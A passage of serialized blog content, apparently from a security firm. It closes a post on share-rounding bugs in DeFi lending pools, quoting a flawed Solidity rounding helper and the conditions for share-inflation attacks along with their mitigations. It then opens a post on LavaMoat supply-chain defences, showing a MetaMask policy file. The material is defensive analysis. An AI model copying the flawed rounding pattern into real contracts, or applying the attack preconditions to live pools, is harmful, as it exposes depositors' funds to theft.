uint256",{"type":23,"tag":141,"props":44919,"children":44920},{"style":750},[44921],{"type":29,"value":44922}," _product",{"type":23,"tag":141,"props":44924,"children":44925},{"style":154},[44926],{"type":29,"value":2168},{"type":23,"tag":141,"props":44928,"children":44929},{"class":143,"line":205},[44930,44934,44939],{"type":23,"tag":141,"props":44931,"children":44932},{"style":725},[44933],{"type":29,"value":44917},{"type":23,"tag":141,"props":44935,"children":44936},{"style":750},[44937],{"type":29,"value":44938}," _pseudo",{"type":23,"tag":141,"props":44940,"children":44941},{"style":154},[44942],{"type":29,"value":2168},{"type":23,"tag":141,"props":44944,"children":44945},{"class":143,"line":218},[44946,44951],{"type":23,"tag":141,"props":44947,"children":44948},{"style":725},[44949],{"type":29,"value":44950}," bool",{"type":23,"tag":141,"props":44952,"children":44953},{"style":750},[44954],{"type":29,"value":44955}," _maxSharePrice\n",{"type":23,"tag":141,"props":44957,"children":44958},{"class":143,"line":227},[44959],{"type":23,"tag":141,"props":44960,"children":44961},{"style":154},[44962],{"type":29,"value":758},{"type":23,"tag":141,"props":44964,"children":44965},{"class":143,"line":241},[44966],{"type":23,"tag":141,"props":44967,"children":44968},{"style":449},[44969],{"type":29,"value":44970}," private\n",{"type":23,"tag":141,"props":44972,"children":44973},{"class":143,"line":262},[44974],{"type":23,"tag":141,"props":44975,"children":44976},{"style":449},[44977],{"type":29,"value":44978}," pure\n",{"type":23,"tag":141,"props":44980,"children":44981},{"class":143,"line":271},[44982,44987,44991,44995],{"type":23,"tag":141,"props":44983,"children":44984},{"style":148},[44985],{"type":29,"value":44986}," returns",{"type":23,"tag":141,"props":44988,"children":44989},{"style":154},[44990],{"type":29,"value":1220},{"type":23,"tag":141,"props":44992,"children":44993},{"style":725},[44994],{"type":29,"value":44645},{"type":23,"tag":141,"props":44996,"children":44997},{"style":154},[44998],{"type":29,"value":758},{"type":23,"tag":141,"props":45000,"children":45001},{"class":143,"line":293},[45002],{"type":23,"tag":141,"props":45003,"children":45004},{"style":154},[45005],{"type":29,"value":766},{"type":23,"tag":141,"props":45007,"children":45008},{"class":143,"line":801},[45009,45013,45018,45022],{"type":23,"tag":141,"props":45010,"children":45011},{"style":148},[45012],{"type":29,"value":15665},{"type":23,"tag":141,"props":45014,"children":45015},{"style":154},[45016],{"type":29,"value":45017}," _maxSharePrice ",{"type":23,"tag":141,"props":45019,"children":45020},{"style":160},[45021],{"type":29,"value":7251},{"type":23,"tag":141,"props":45023,"children":45024},{"style":449},[45025],{"type":29,"value":45026}," true\n",{"type":23,"tag":141,"props":45028,"children":45029},{"class":143,"line":810},[45030,45035,45040,45044],{"type":23,"tag":141,"props":45031,"children":45032},{"style":160},[45033],{"type":29,"value":45034}," ?",{"type":23,"tag":141,"props":45036,"children":45037},{"style":154},[45038],{"type":29,"value":45039}," _product % _pseudo ",{"type":23,"tag":141,"props":45041,"children":45042},{"style":160},[45043],{"type":29,"value":7251},{"type":23,"tag":141,"props":45045,"children":45046},{"style":472},[45047],{"type":29,"value":22962},{"type":23,"tag":141,"props":45049,"children":45050},{"class":143,"line":824},[45051,45056,45061,45065],{"type":23,"tag":141,"props":45052,"children":45053},{"style":160},[45054],{"type":29,"value":45055}," ?",{"type":23,"tag":141,"props":45057,"children":45058},{"style":154},[45059],{"type":29,"value":45060}," _product ",{"type":23,"tag":141,"props":45062,"children":45063},{"style":160},[45064],{"type":29,"value":3255},{"type":23,"tag":141,"props":45066,"children":45067},{"style":154},[45068],{"type":29,"value":45069}," _pseudo\n",{"type":23,"tag":141,"props":45071,"children":45072},{"class":143,"line":839},[45073,45078,45082,45086,45091,45095],{"type":23,"tag":141,"props":45074,"children":45075},{"style":160},[45076],{"type":29,"value":45077}," :",{"type":23,"tag":141,"props":45079,"children":45080},{"style":154},[45081],{"type":29,"value":45060},{"type":23,"tag":141,"props":45083,"children":45084},{"style":160},[45085],{"type":29,"value":3255},{"type":23,"tag":141,"props":45087,"children":45088},{"style":154},[45089],{"type":29,"value":45090}," _pseudo ",{"type":23,"tag":141,"props":45092,"children":45093},{"style":160},[45094],{"type":29,"value":3058},{"type":23,"tag":141,"props":45096,"children":45097},{"style":472},[45098],{"type":29,"value":18114},{"type":23,"tag":141,"props":45100,"children":45101},{"class":143,"line":848},[45102,45107,45111,45115],{"type":23,"tag":141,"props":45103,"children":45104},{"style":160},[45105],{"type":29,"value":45106}," :",{"type":23,"tag":141,"props":45108,"children":45109},{"style":154},[45110],{"type":29,"value":45060},{"type":23,"tag":141,"props":45112,"children":45113},{"style":160},[45114],{"type":29,"value":3255},{"type":23,"tag":141,"props":45116,"children":45117},{"style":154},[45118],{"type":29,"value":45119}," _pseudo;\n",{"type":23,"tag":141,"props":45121,"children":45122},{"class":143,"line":2304},[45123],{"type":23,"tag":141,"props":45124,"children":45125},{"style":154},[45126],{"type":29,"value":2573},{"type":23,"tag":32,"props":45128,"children":45129},{},[45130,45135],{"type":23,"tag":47,"props":45131,"children":45132},{},[45133],{"type":29,"value":45134},"Regardless of which way the share rounding occurs, this is a bug",{"type":29,"value":45136},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":23,"tag":32,"props":45138,"children":45139},{},[45140],{"type":29,"value":45141},"This is a really tricky invariant to reason about!",{"type":23,"tag":24,"props":45143,"children":45145},{"id":45144},"root-cause",[45146],{"type":29,"value":45147},"Root Cause",{"type":23,"tag":32,"props":45149,"children":45150},{},[45151],{"type":29,"value":45152},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":23,"tag":32,"props":45154,"children":45155},{},[45156],{"type":29,"value":45157},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":23,"tag":131,"props":45159,"children":45161},{"className":432,"code":45160,"language":17,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[45162],{"type":23,"tag":38,"props":45163,"children":45164},{"__ignoreMap":7},[45165],{"type":23,"tag":141,"props":45166,"children":45167},{"class":143,"line":144},[45168,45173,45177,45182,45186],{"type":23,"tag":141,"props":45169,"children":45170},{"style":154},[45171],{"type":29,"value":45172},"totalDepositShares ",{"type":23,"tag":141,"props":45174,"children":45175},{"style":160},[45176],{"type":29,"value":197},{"type":23,"tag":141,"props":45178,"children":45179},{"style":154},[45180],{"type":29,"value":45181}," _amount ",{"type":23,"tag":141,"props":45183,"children":45184},{"style":160},[45185],{"type":29,"value":3255},{"type":23,"tag":141,"props":45187,"children":45188},{"style":154},[45189],{"type":29,"value":45190}," pseudoTotalPool\n",{"type":23,"tag":32,"props":45192,"children":45193},{},[45194],{"type":29,"value":45195},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":23,"tag":32,"props":45197,"children":45198},{},[45199,45201,45205],{"type":29,"value":45200},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":23,"tag":47,"props":45202,"children":45203},{},[45204],{"type":29,"value":18588},{"type":29,"value":45206}," integer division?",{"type":23,"tag":24,"props":45208,"children":45210},{"id":45209},"mitigations",[45211],{"type":29,"value":45212},"Mitigations",{"type":23,"tag":32,"props":45214,"children":45215},{},[45216],{"type":29,"value":45217},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":23,"tag":32,"props":45219,"children":45220},{},[45221,45223,45230],{"type":29,"value":45222},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":23,"tag":55,"props":45224,"children":45227},{"href":45225,"rel":45226},"https://twitter.com/danielvf/status/1746306320553152615",[59],[45228],{"type":29,"value":45229},"@danielvf notes",{"type":29,"value":45231},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":23,"tag":131,"props":45233,"children":45235},{"className":432,"code":45234,"language":17,"meta":7,"style":7},"if (_totalSupply == 0) {\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[45236],{"type":23,"tag":38,"props":45237,"children":45238},{"__ignoreMap":7},[45239,45263,45310,45344],{"type":23,"tag":141,"props":45240,"children":45241},{"class":143,"line":144},[45242,45246,45251,45255,45259],{"type":23,"tag":141,"props":45243,"children":45244},{"style":148},[45245],{"type":29,"value":14255},{"type":23,"tag":141,"props":45247,"children":45248},{"style":154},[45249],{"type":29,"value":45250}," (_totalSupply ",{"type":23,"tag":141,"props":45252,"children":45253},{"style":160},[45254],{"type":29,"value":7251},{"type":23,"tag":141,"props":45256,"children":45257},{"style":472},[45258],{"type":29,"value":1707},{"type":23,"tag":141,"props":45260,"children":45261},{"style":154},[45262],{"type":29,"value":13480},{"type":23,"tag":141,"props":45264,"children":45265},{"class":143,"line":180},[45266,45271,45275,45280,45285,45290,45295,45300,45305],{"type":23,"tag":141,"props":45267,"children":45268},{"style":154},[45269],{"type":29,"value":45270}," liquidity ",{"type":23,"tag":141,"props":45272,"children":45273},{"style":160},[45274],{"type":29,"value":1377},{"type":23,"tag":141,"props":45276,"children":45277},{"style":154},[45278],{"type":29,"value":45279}," Math.",{"type":23,"tag":141,"props":45281,"children":45282},{"style":184},[45283],{"type":29,"value":45284},"sqrt",{"type":23,"tag":141,"props":45286,"children":45287},{"style":154},[45288],{"type":29,"value":45289},"(amount0.",{"type":23,"tag":141,"props":45291,"children":45292},{"style":184},[45293],{"type":29,"value":45294},"mul",{"type":23,"tag":141,"props":45296,"children":45297},{"style":154},[45298],{"type":29,"value":45299},"(amount1)).",{"type":23,"tag":141,"props":45301,"children":45302},{"style":184},[45303],{"type":29,"value":45304},"sub",{"type":23,"tag":141,"props":45306,"children":45307},{"style":154},[45308],{"type":29,"value":45309},"(MINIMUM_LIQUIDITY);\n",{"type":23,"tag":141,"props":45311,"children":45312},{"class":143,"line":205},[45313,45318,45322,45326,45330,45334,45339],{"type":23,"tag":141,"props":45314,"children":45315},{"style":184},[45316],{"type":29,"value":45317}," _mint",{"type":23,"tag":141,"props":45319,"children":45320},{"style":154},[45321],{"type":29,"value":192},{"type":23,"tag":141,"props":45323,"children":45324},{"style":725},[45325],{"type":29,"value":31109},{"type":23,"tag":141,"props":45327,"children":45328},{"style":154},[45329],{"type":29,"value":192},{"type":23,"tag":141,"props":45331,"children":45332},{"style":472},[45333],{"type":29,"value":2698},{"type":23,"tag":141,"props":45335,"children":45336},{"style":154},[45337],{"type":29,"value":45338},"), MINIMUM_LIQUIDITY); ",{"type":23,"tag":141,"props":45340,"children":45341},{"style":443},[45342],{"type":29,"value":45343},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":23,"tag":141,"props":45345,"children":45346},{"class":143,"line":218},[45347,45352,45356],{"type":23,"tag":141,"props":45348,"children":45349},{"style":154},[45350],{"type":29,"value":45351},"} ",{"type":23,"tag":141,"props":45353,"children":45354},{"style":148},[45355],{"type":29,"value":1976},{"type":23,"tag":141,"props":45357,"children":45358},{"style":154},[45359],{"type":29,"value":1951},{"type":23,"tag":32,"props":45361,"children":45362},{},[45363,45365,45372],{"type":29,"value":45364},"Alternatively, ",{"type":23,"tag":55,"props":45366,"children":45369},{"href":45367,"rel":45368},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[59],[45370],{"type":29,"value":45371},"storing the conversion rate separately",{"type":29,"value":45373}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":23,"tag":131,"props":45375,"children":45377},{"className":432,"code":45376,"language":17,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[45378],{"type":23,"tag":38,"props":45379,"children":45380},{"__ignoreMap":7},[45381,45416],{"type":23,"tag":141,"props":45382,"children":45383},{"class":143,"line":144},[45384,45389,45393,45398,45402,45407,45411],{"type":23,"tag":141,"props":45385,"children":45386},{"style":154},[45387],{"type":29,"value":45388},"accrualIndices.borrowed ",{"type":23,"tag":141,"props":45390,"children":45391},{"style":160},[45392],{"type":29,"value":1377},{"type":23,"tag":141,"props":45394,"children":45395},{"style":154},[45396],{"type":29,"value":45397}," accrualIndices.borrowed ",{"type":23,"tag":141,"props":45399,"children":45400},{"style":160},[45401],{"type":29,"value":197},{"type":23,"tag":141,"props":45403,"children":45404},{"style":154},[45405],{"type":29,"value":45406}," borrowInterestFactor ",{"type":23,"tag":141,"props":45408,"children":45409},{"style":160},[45410],{"type":29,"value":3255},{"type":23,"tag":141,"props":45412,"children":45413},{"style":154},[45414],{"type":29,"value":45415}," precision;\n",{"type":23,"tag":141,"props":45417,"children":45418},{"class":143,"line":180},[45419,45424,45428,45433,45437,45442,45446],{"type":23,"tag":141,"props":45420,"children":45421},{"style":154},[45422],{"type":29,"value":45423},"accrualIndices.deposited ",{"type":23,"tag":141,"props":45425,"children":45426},{"style":160},[45427],{"type":29,"value":1377},{"type":23,"tag":141,"props":45429,"children":45430},{"style":154},[45431],{"type":29,"value":45432}," accrualIndices.deposited ",{"type":23,"tag":141,"props":45434,"children":45435},{"style":160},[45436],{"type":29,"value":197},{"type":23,"tag":141,"props":45438,"children":45439},{"style":154},[45440],{"type":29,"value":45441}," depositInterestFactor ",{"type":23,"tag":141,"props":45443,"children":45444},{"style":160},[45445],{"type":29,"value":3255},{"type":23,"tag":141,"props":45447,"children":45448},{"style":154},[45449],{"type":29,"value":45415},{"type":23,"tag":32,"props":45451,"children":45452},{},[45453],{"type":29,"value":45454},"We also want to note some general takeaways:",{"type":23,"tag":32,"props":45456,"children":45457},{},[45458,45460,45465],{"type":29,"value":45459},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":23,"tag":47,"props":45461,"children":45462},{},[45463],{"type":29,"value":45464},"apply the state changes and check the invariant",{"type":29,"value":322},{"type":23,"tag":32,"props":45467,"children":45468},{},[45469],{"type":29,"value":45470},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":23,"tag":32,"props":45472,"children":45473},{},[45474],{"type":29,"value":45475},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":23,"tag":24,"props":45477,"children":45478},{"id":27618},[45479],{"type":29,"value":17618},{"type":23,"tag":32,"props":45481,"children":45482},{},[45483],{"type":29,"value":45484},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":23,"tag":32,"props":45486,"children":45487},{},[45488],{"type":29,"value":45489},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":23,"tag":1508,"props":45491,"children":45492},{},[45493],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":45495},[45496,45497,45498,45502,45503,45504],{"id":26,"depth":180,"text":30},{"id":44418,"depth":180,"text":44421},{"id":44537,"depth":180,"text":44540,"children":45499},[45500,45501],{"id":44548,"depth":205,"text":44551},{"id":44586,"depth":205,"text":44589},{"id":45144,"depth":180,"text":45147},{"id":45209,"depth":180,"text":45212},{"id":27618,"depth":180,"text":17618},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":45509,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":45510,"description":45511,"author":45512,"image":45513,"date":45515,"isFeatured":15,"onBlogPage":15,"body":45516,"_type":1522,"_id":48996,"_source":1524,"_file":48997,"_stem":48998,"_extension":1527},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[29669,29668],{"src":45514},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":20,"children":45517,"toc":48975},[45518,45522,45543,45548,45552,45557,45596,45602,45617,45635,45640,45645,45650,45663,45970,45996,46009,46014,46019,46033,46038,46051,46065,46296,46317,46352,46358,46363,46368,46582,46603,46609,46621,46711,46733,46769,46777,46795,47052,47078,47084,47098,47296,47315,47722,47735,47741,47760,47853,47858,47864,47877,47890,47976,47982,47994,48079,48091,48104,48110,48115,48129,48456,48461,48466,48472,48498,48553,48573,48626,48632,48637,48656,48667,48861,48867,48890,48896,48901,48914,48919,48924,48928,48933,48941,48971],{"type":23,"tag":24,"props":45519,"children":45520},{"id":17627},[45521],{"type":29,"value":17630},{"type":23,"tag":32,"props":45523,"children":45524},{},[45525,45532,45534,45541],{"type":23,"tag":55,"props":45526,"children":45529},{"href":45527,"rel":45528},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[59],[45530],{"type":29,"value":45531},"Supply chain",{"type":29,"value":45533}," attacks are becoming ",{"type":23,"tag":55,"props":45535,"children":45538},{"href":45536,"rel":45537},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[59],[45539],{"type":29,"value":45540},"increasingly popular in Web3",{"type":29,"value":45542},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":23,"tag":32,"props":45544,"children":45545},{},[45546],{"type":29,"value":45547},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":23,"tag":8287,"props":45549,"children":45550},{"id":26},[45551],{"type":29,"value":30},{"type":23,"tag":32,"props":45553,"children":45554},{},[45555],{"type":29,"value":45556},"It is important to note that there are three different versions of LavaMoat:",{"type":23,"tag":116,"props":45558,"children":45559},{},[45560,45572,45584],{"type":23,"tag":120,"props":45561,"children":45562},{},[45563,45570],{"type":23,"tag":55,"props":45564,"children":45567},{"href":45565,"rel":45566},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[59],[45568],{"type":29,"value":45569},"Lavamoat Browserify",{"type":29,"value":45571}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":23,"tag":120,"props":45573,"children":45574},{},[45575,45582],{"type":23,"tag":55,"props":45576,"children":45579},{"href":45577,"rel":45578},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[59],[45580],{"type":29,"value":45581},"NodeJS Lavamoat",{"type":29,"value":45583}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":23,"tag":120,"props":45585,"children":45586},{},[45587,45594],{"type":23,"tag":55,"props":45588,"children":45591},{"href":45589,"rel":45590},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[59],[45592],{"type":29,"value":45593},"Lavamoat allow-scripts",{"type":29,"value":45595}," are used to prevent malicious code execution on lifecycle scripts.",{"type":23,"tag":8287,"props":45597,"children":45599},{"id":45598},"lavamoats-security-features",[45600],{"type":29,"value":45601},"Lavamoat's Security Features",{"type":23,"tag":32,"props":45603,"children":45604},{},[45605,45607,45615],{"type":29,"value":45606},"The three most important features of Lavamoat",{"type":23,"tag":676,"props":45608,"children":45609},{},[45610],{"type":23,"tag":55,"props":45611,"children":45613},{"href":681,"ariaDescribedBy":45612,"dataFootnoteRef":7,"id":684},[683],[45614],{"type":29,"value":687},{"type":29,"value":45616}," are:",{"type":23,"tag":15362,"props":45618,"children":45619},{},[45620,45625,45630],{"type":23,"tag":120,"props":45621,"children":45622},{},[45623],{"type":29,"value":45624},"Policy Files",{"type":23,"tag":120,"props":45626,"children":45627},{},[45628],{"type":29,"value":45629},"NPM Anti Hijacking",{"type":23,"tag":120,"props":45631,"children":45632},{},[45633],{"type":29,"value":45634},"Scuttling",{"type":23,"tag":32,"props":45636,"children":45637},{},[45638],{"type":29,"value":45639},"Let's go over them one by one.",{"type":23,"tag":17563,"props":45641,"children":45643},{"id":45642},"policy-files",[45644],{"type":29,"value":45624},{"type":23,"tag":32,"props":45646,"children":45647},{},[45648],{"type":29,"value":45649},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":23,"tag":32,"props":45651,"children":45652},{},[45653,45655,45662],{"type":29,"value":45654},"For example, take the ",{"type":23,"tag":55,"props":45656,"children":45659},{"href":45657,"rel":45658},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[59],[45660],{"type":29,"value":45661},"Metamask Snap policy file",{"type":29,"value":114},{"type":23,"tag":131,"props":45664,"children":45666},{"className":29831,"code":45665,"language":29833,"meta":7,"style":7}," \"@metamask/providers\": {\n \"globals\": {\n \"Event\": true,\n \"addEventListener\": true,\n \"chrome.runtime.connect\": true,\n \"console\": true,\n \"dispatchEvent\": true,\n \"document.createElement\": true,\n \"document.readyState\": true,\n \"ethereum\": \"write\",\n \"location.hostname\": true,\n \"removeEventListener\": true,\n \"web3\": true\n },\n \"packages\": {\n \"@metamask/object-multiplex\": true,\n \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[45667],{"type":23,"tag":38,"props":45668,"children":45669},{"__ignoreMap":7},[45670,45682,45697,45717,45736,45756,45776,45796,45816,45836,45857,45877,45896,45912,45919,45934,45954],{"type":23,"tag":141,"props":45671,"children":45672},{"class":143,"line":144},[45673,45678],{"type":23,"tag":141,"props":45674,"children":45675},{"style":828},[45676],{"type":29,"value":45677}," \"@metamask/providers\"",{"type":23,"tag":141,"props":45679,"children":45680},{"style":154},[45681],{"type":29,"value":35493},{"type":23,"tag":141,"props":45683,"children":45684},{"class":143,"line":180},[45685,45689,45693],{"type":23,"tag":141,"props":45686,"children":45687},{"style":828},[45688],{"type":29,"value":35501},{"type":23,"tag":141,"props":45690,"children":45691},{"style":750},[45692],{"type":29,"value":114},{"type":23,"tag":141,"props":45694,"children":45695},{"style":154},[45696],{"type":29,"value":1951},{"type":23,"tag":141,"props":45698,"children":45699},{"class":143,"line":205},[45700,45705,45709,45713],{"type":23,"tag":141,"props":45701,"children":45702},{"style":828},[45703],{"type":29,"value":45704}," \"Event\"",{"type":23,"tag":141,"props":45706,"children":45707},{"style":750},[45708],{"type":29,"value":114},{"type":23,"tag":141,"props":45710,"children":45711},{"style":449},[45712],{"type":29,"value":11148},{"type":23,"tag":141,"props":45714,"children":45715},{"style":154},[45716],{"type":29,"value":2168},{"type":23,"tag":141,"props":45718,"children":45719},{"class":143,"line":218},[45720,45724,45728,45732],{"type":23,"tag":141,"props":45721,"children":45722},{"style":828},[45723],{"type":29,"value":35553},{"type":23,"tag":141,"props":45725,"children":45726},{"style":750},[45727],{"type":29,"value":114},{"type":23,"tag":141,"props":45729,"children":45730},{"style":449},[45731],{"type":29,"value":11148},{"type":23,"tag":141,"props":45733,"children":45734},{"style":154},[45735],{"type":29,"value":2168},{"type":23,"tag":141,"props":45737,"children":45738},{"class":143,"line":227},[45739,45744,45748,45752],{"type":23,"tag":141,"props":45740,"children":45741},{"style":828},[45742],{"type":29,"value":45743}," \"chrome.runtime.connect\"",{"type":23,"tag":141,"props":45745,"children":45746},{"style":750},[45747],{"type":29,"value":114},{"type":23,"tag":141,"props":45749,"children":45750},{"style":449},[45751],{"type":29,"value":11148},{"type":23,"tag":141,"props":45753,"children":45754},{"style":154},[45755],{"type":29,"value":2168},{"type":23,"tag":141,"props":45757,"children":45758},{"class":143,"line":241},[45759,45764,45768,45772],{"type":23,"tag":141,"props":45760,"children":45761},{"style":828},[45762],{"type":29,"value":45763}," \"console\"",{"type":23,"tag":141,"props":45765,"children":45766},{"style":750},[45767],{"type":29,"value":114},{"type":23,"tag":141,"props":45769,"children":45770},{"style":449},[45771],{"type":29,"value":11148},{"type":23,"tag":141,"props":45773,"children":45774},{"style":154},[45775],{"type":29,"value":2168},{"type":23,"tag":141,"props":45777,"children":45778},{"class":143,"line":262},[45779,45784,45788,45792],{"type":23,"tag":141,"props":45780,"children":45781},{"style":828},[45782],{"type":29,"value":45783}," \"dispatchEvent\"",{"type":23,"tag":141,"props":45785,"children":45786},{"style":750},[45787],{"type":29,"value":114},{"type":23,"tag":141,"props":45789,"children":45790},{"style":449},[45791],{"type":29,"value":11148},{"type":23,"tag":141,"props":45793,"children":45794},{"style":154},[45795],{"type":29,"value":2168},{"type":23,"tag":141,"props":45797,"children":45798},{"class":143,"line":271},[45799,45804,45808,45812],{"type":23,"tag":141,"props":45800,"children":45801},{"style":828},[45802],{"type":29,"value":45803}," \"document.createElement\"",{"type":23,"tag":141,"props":45805,"children":45806},{"style":750},[45807],{"type":29,"value":114},{"type":23,"tag":141,"props":45809,"children":45810},{"style":449},[45811],{"type":29,"value":11148},{"type":23,"tag":141,"props":45813,"children":45814},{"style":154},[45815],{"type":29,"value":2168},{"type":23,"tag":141,"props":45817,"children":45818},{"class":143,"line":293},[45819,45824,45828,45832],{"type":23,"tag":141,"props":45820,"children":45821},{"style":828},[45822],{"type":29,"value":45823}," \"document.readyState\"",{"type":23,"tag":141,"props":45825,"children":45826},{"style":750},[45827],{"type":29,"value":114},{"type":23,"tag":141,"props":45829,"children":45830},{"style":449},[45831],{"type":29,"value":11148},{"type":23,"tag":141,"props":45833,"children":45834},{"style":154},[45835],{"type":29,"value":2168},{"type":23,"tag":141,"props":45837,"children":45838},{"class":143,"line":801},[45839,45844,45848,45853],{"type":23,"tag":141,"props":45840,"children":45841},{"style":828},[45842],{"type":29,"value":45843}," \"ethereum\"",{"type":23,"tag":141,"props":45845,"children":45846},{"style":750},[45847],{"type":29,"value":114},{"type":23,"tag":141,"props":45849,"children":45850},{"style":828},[45851],{"type":29,"value":45852}," \"write\"",{"type":23,"tag":141,"props":45854,"children":45855},{"style":154},[45856],{"type":29,"value":2168},{"type":23,"tag":141,"props":45858,"children":45859},{"class":143,"line":810},[45860,45865,45869,45873],{"type":23,"tag":141,"props":45861,"children":45862},{"style":828},[45863],{"type":29,"value":45864}," \"location.hostname\"",{"type":23,"tag":141,"props":45866,"children":45867},{"style":750},[45868],{"type":29,"value":114},{"type":23,"tag":141,"props":45870,"children":45871},{"style":449},[45872],{"type":29,"value":11148},{"type":23,"tag":141,"props":45874,"children":45875},{"style":154},[45876],{"type":29,"value":2168},{"type":23,"tag":141,"props":45878,"children":45879},{"class":143,"line":824},[45880,45884,45888,45892],{"type":23,"tag":141,"props":45881,"children":45882},{"style":828},[45883],{"type":29,"value":35653},{"type":23,"tag":141,"props":45885,"children":45886},{"style":750},[45887],{"type":29,"value":114},{"type":23,"tag":141,"props":45889,"children":45890},{"style":449},[45891],{"type":29,"value":11148},{"type":23,"tag":141,"props":45893,"children":45894},{"style":154},[45895],{"type":29,"value":2168},{"type":23,"tag":141,"props":45897,"children":45898},{"class":143,"line":839},[45899,45904,45908],{"type":23,"tag":141,"props":45900,"children":45901},{"style":828},[45902],{"type":29,"value":45903}," \"web3\"",{"type":23,"tag":141,"props":45905,"children":45906},{"style":750},[45907],{"type":29,"value":114},{"type":23,"tag":141,"props":45909,"children":45910},{"style":449},[45911],{"type":29,"value":45026},{"type":23,"tag":141,"props":45913,"children":45914},{"class":143,"line":848},[45915],{"type":23,"tag":141,"props":45916,"children":45917},{"style":154},[45918],{"type":29,"value":35670},{"type":23,"tag":141,"props":45920,"children":45921},{"class":143,"line":2304},[45922,45926,45930],{"type":23,"tag":141,"props":45923,"children":45924},{"style":828},[45925],{"type":29,"value":35678},{"type":23,"tag":141,"props":45927,"children":45928},{"style":750},[45929],{"type":29,"value":114},{"type":23,"tag":141,"props":45931,"children":45932},{"style":154},[45933],{"type":29,"value":1951},{"type":23,"tag":141,"props":45935,"children":45936},{"class":143,"line":2313},[45937,45942,45946,45950],{"type":23,"tag":141,"props":45938,"children":45939},{"style":828},[45940],{"type":29,"value":45941}," \"@metamask/object-multiplex\"",{"type":23,"tag":141,"props":45943,"children":45944},{"style":750},[45945],{"type":29,"value":114},{"type":23,"tag":141,"props":45947,"children":45948},{"style":449},[45949],{"type":29,"value":11148},{"type":23,"tag":141,"props":45951,"children":45952},{"style":154},[45953],{"type":29,"value":2168},{"type":23,"tag":141,"props":45955,"children":45956},{"class":143,"line":2335},[45957,45962,45966],{"type":23,"tag":141,"props":45958,"children":45959},{"style":828},[45960],{"type":29,"value":45961}," \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":23,"tag":141,"props":45963,"children":45964},{"style":750},[45965],{"type":29,"value":114},{"type":23,"tag":141,"props":45967,"children":45968},{"style":449},[45969],{"type":29,"value":45026},{"type":23,"tag":32,"props":45971,"children":45972},{},[45973,45974,45979,45981,45986,45988,45994],{"type":29,"value":388},{"type":23,"tag":38,"props":45975,"children":45977},{"className":45976},[],[45978],{"type":29,"value":35743},{"type":29,"value":45980}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":23,"tag":38,"props":45982,"children":45984},{"className":45983},[],[45985],{"type":29,"value":35751},{"type":29,"value":45987}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how 